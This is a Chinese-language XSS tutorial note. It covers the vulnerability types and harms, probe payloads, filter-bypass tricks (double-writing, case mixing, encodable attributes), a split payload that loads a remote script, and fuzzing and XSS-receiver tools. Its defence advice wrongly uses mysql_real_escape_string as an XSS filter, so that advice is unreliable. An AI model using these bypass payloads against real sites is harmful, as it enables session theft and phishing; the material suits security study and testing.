XSS跨站漏洞

跨站原理:

当应用程序发送给浏览器的页面中包含用户提交的数据,

但没有经过适当验证或转义时,就会导致跨站脚本漏洞

分类:

反射型:

出现在搜索栏,用户登录等地方,常用来窃取客户端的Cookie或进行钓鱼欺骗。(需要用户去点击)

存储型:

出现在留言、评论、博客日志等交互处,直接影响Web服务器自身安全

DOM型:

是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞

dom – xss是通过url传入参数去控制触发的。

危害:

攻击者能够在受害者浏览器中执行脚本,以劫持用户会话(窃取Cookie)、迫害网站、插入恶意内容

组建僵尸网络、重定向用户、使用恶意软件劫持用户浏览器等。

防范:

前端

用js写过滤函数,过滤特殊字符

后端(在入口和出口都过滤):

对输入和输出都编码转换

1
2
3
4
5
<?php

$get=mysql_real_escape_string(‘输入参数/输出参数’);

?>

可以自己编写过滤函数,调用也行。或者查找网上的XSS过滤函数。

过滤XSS的开源模块

http://cnodejs.org/topic/52fd908e3e37f7546a513287

简单发掘:

反射型:<script>alert(1)<script>

存储型:</textarea><script>alert(1)</script>

编码绕过:

1
2
3
4
5
6
HTML编码
十六进制编码
base64编码
ASCII编码
双写拼接,<sc<script>ript>alert(/xss/);</script>
大小写混淆,<sCriPt>alert(/xss/);</ScRipt>

以下属性可以被编码:

1
2
3
4
5
6
7
8
9
10
11
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64

拆分跨站:

当应用程序没有过滤<、>关键字却限制了字符长度时可用拆分跨站

1
2
3
4
5
6
7
<script>z='<script src=';/*

*/z+='test.c';/*

*/z+='n/1.js><0/script>';/*

*/document.write(z)</script>

最终执行

1
2
3
4
5
6
7
<script>

z='undefined<script src=test.cn/1.js></script>';

document.write(z)

</script>

XSS自动化测试XSSFuzzing:

使用工具:

官网 软件对应科普文
BruteXSS Freebuf相关科普 汉化版
Xsser FreeBuf相关科普
XSSfrok Seebug作者教程
XSStrike FreeBuf相关科普

自主开发:

一个基本的流程是:

1.检测输入点

2.潜在注入点检测

3.生成payload

4.Payload攻击验证

其他相关工具

编码绕过 https://github.com/evilcos/xssor2
XSS平台 https://github.com/firesunCN/BlueLotus_XSSReceiver